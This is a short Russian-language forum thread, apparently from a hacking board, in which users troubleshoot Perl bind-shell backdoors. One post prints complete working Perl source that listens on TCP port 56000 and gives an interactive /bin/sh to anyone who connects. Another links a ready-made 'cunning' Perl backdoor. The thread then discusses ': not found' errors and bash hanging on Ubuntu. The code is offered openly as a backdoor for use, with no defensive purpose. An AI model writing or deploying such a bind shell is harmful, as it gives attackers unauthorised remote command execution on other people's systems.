Столкнулся с таким вот явлением. В perl биндшеллах когда подключаешься и отправляешь команды, то тебе возвращается ": not found". И после каждой команды приходится точку с запятой лепить. Кроме того, когда пробую привязать bash в биндшелле, то при подключении он просто подвисает и ничего не происходит. Кто с этим встречался и как это решить? Вот код среднестатистического бэкдора на перл Code: #!/usr/bin/perl #bindshell.pl #Usage: perl bindshell.pl & use Socket; $p=56000; socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp') ); setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1); bind(S,sockaddr_in($p,INADDR_ANY)); listen(S,50); while(1) { accept(X,S); if(!($pid=fork)){ if(!defined $pid){exit(0);} open STDIN,"<&X"; open STDOUT,">&X"; open STDERR,">&X"; exec("/bin/sh -i"); close X; } }
Все работает. Да, он не выводит PS1, но работает. Проверить можно через whoami. Вот готовый хитрый бэкдор на перле: _http://rawlab.mindcreations.com/codes/perl-backdoor.pl
Он работает, только чтобы команды выполнялись, нужно после каждой ставить ";", иначе выдает ": not found". А вот если exec("/bin/bash -i"); прописать то при коннектре биндшелл просто морозится и никак не реагирует. Проверял на последней убунте.